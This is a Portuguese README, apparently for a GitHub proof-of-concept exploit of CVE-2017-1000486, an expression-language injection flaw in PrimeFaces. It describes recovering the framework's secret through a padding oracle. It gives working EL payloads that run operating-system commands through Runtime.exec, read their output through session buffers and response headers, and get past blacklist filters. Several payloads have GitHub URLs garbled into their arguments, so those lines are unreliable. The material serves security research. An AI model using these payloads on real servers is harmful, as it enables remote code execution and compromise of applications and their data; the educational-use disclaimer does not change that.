
Exploit de prova de conceito em várias etapas para CVE-2017-1000486 (injeção de EL no PrimeFaces) com recuperação de segredo por oracle de padding e payloads que contornam a lista negra para execução remota de código.
Este é um PoC do CVE-2017-1000486 com algumas cargas úteis para contornar verificações lexicográficas de blacklist em funções padrão usadas para obter RCE (getClass(), exec(), etc..) e para recuperar o segredo do primefaces através de Padding Oracle para ser o menos ruidoso possível na exploração.
Este PoC é um script de múltiplas etapas útil para analisar o contexto de cada aplicação e bibliotecas de servidores web disponíveis.
Inicialmente, o script perl padBuster escrito por @AonCyberLabs é usado para recuperar o segredo do primefaces, se não for fornecido manualmente. Isso pode ser útil para reduzir o número de requisições feitas ao servidor na criptografia de payloads subsequentes, acelerando todo o processo. O tempo necessário para explorar a vulnerabilidade Padding Oracle é diretamente proporcional ao tamanho dos payloads; usá-lo apenas no primeiro estágio em um payload bem menor melhora bastante o desempenho.
Não quero reescrever todo o código do padBuster para integrar diretamente com Python, então uma execução limpa de comando via SO é feita para executá-lo.
EL payload:
${facesContext["getExternalContext"]()["setResponseHeader"](https://github.com/pastea/cve-2017-1000486/blob/main/%22SECRET%22%2CinitParam%5B%22primefaces.SECRET%22%5D)}
Uma verificação simples com um EL que realiza uma injeção de cabeçalho é feita para checar a execução do código EL. Considere que neste caso dois métodos estão disponíveis: setResponseHeader e addResponseHeader; outros métodos disponíveis podem ser recuperados da documentação oficial.
EL payload:
${facesContext["getExternalContext"]()["setResponseHeader"](https://github.com/pastea/cve-2017-1000486/blob/main/%22PROVA%22%2C%22123456%22)}
Em seguida, uma série de verificações sobre variáveis implícitas disponíveis é feita para destacar alguns problemas potenciais causados por bibliotecas de servidores web personalizadas que não oferecem todas as variáveis implícitas, como IBM WebLogic. Além disso, a versão do Java Runtime é recuperada tentando ser o mais específico possível com o payload.
De fato, observei que em Java <=7 há alguma confusão de tipo de parâmetro nos métodos chamados. Suponho que isso ocorra devido à atribuição de tipo de variável realizada pelo parser EL. Para evitar isso, o script se refere a métodos específicos através do array getDeclaredMethods(); neste caso, é necessária a identificação do índice correto para cada método usado. Isso obviamente aumenta o tamanho do payload, mas proporciona muita resiliência.
Para criar um array de bytes como buffer, é usado um workaround através de "".format("%0999d",0).getBytes(), criando um buffer de tamanho 999, ou "0000000".getBytes(), criando um buffer de tamanho 7.
Standard EL:
${facesContext.getExternalContext().getSession(true).putValue("stream",""["class"].forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(null)["exec"](https://github.com/pastea/cve-2017-1000486/blob/main/%22command%22).getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","".format("%0999d",0).getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()))}
${facesContext.getExternalContext().getResponseOutputStream().write(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()).flush().close()}
EL com getDeclaredMethods():
${facesContext.getExternalContext().getSession(true).putValue("runtime",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(null))}
${facesContext.getExternalContext().getSession(true).putValue("stream",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getSession(true).getValue("runtime"),"command").getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","0000000".getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"0000000".length()))}
${facesContext.getELContext()["class"].forName("org.apache.catalina.connector.CoyoteOutputStream").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getResponseOutputStream(),facesContext.getExternalContext().getSession(true).getValue("buffer"))}
${facesContext.getExternalContext().getResponseOutputStream().flush().close()}
Métodos no JSF podem ser chamados via referência ["method"](), não apenas como Java padrão com notação de ponto .method(). Isso pode ajudar a contornar filtros feitos no servidor entre a descriptografia e a execução do EL.
getClass() pode ser substituído pela instrução ["class"]
facesContext.getExternalContext().getSession(true).putValue() pode ser substituído por session.setAttribute(); como abordagem geral, todo mapa pode ser usado como repositório para armazenar variáveis.
ESTA FERRAMENTA ESTÁ SENDO FORNECIDA APENAS PARA FINS EDUCACIONAIS, COM A INTENÇÃO APENAS PARA FINS DE PESQUISA.
Você não pode usar este software para qualquer propósito ilegal ou antiético; incluindo atividades que dariam origem a responsabilidade criminal ou civil.
USE POR SUA CONTA E RISCO. ESTE SOFTWARE É FORNECIDO PELO TITULAR DOS DIREITOS AUTORAIS OU CONTRIBUIDORES "COMO ESTÁ" E QUALQUER GARANTIA EXPRESSA OU IMPLÍCITA, INCLUINDO, MAS NÃO SE LIMITANDO A, GARANTIAS IMPLÍCITAS DE COMERCIALIZAÇÃO E ADEQUAÇÃO A UM PROPÓSITO ESPECÍFICO SÃO REJEITADAS. EM NENHUM CASO O TITULAR DOS DIREITOS AUTORAIS OU CONTRIBUIDORES SERÃO RESPONSÁVEIS POR QUAISQUER DANOS DIRETOS, INDIRETOS, INCIDENTAIS, ESPECIAIS, EXEMPLARES OU CONSEQUENTES.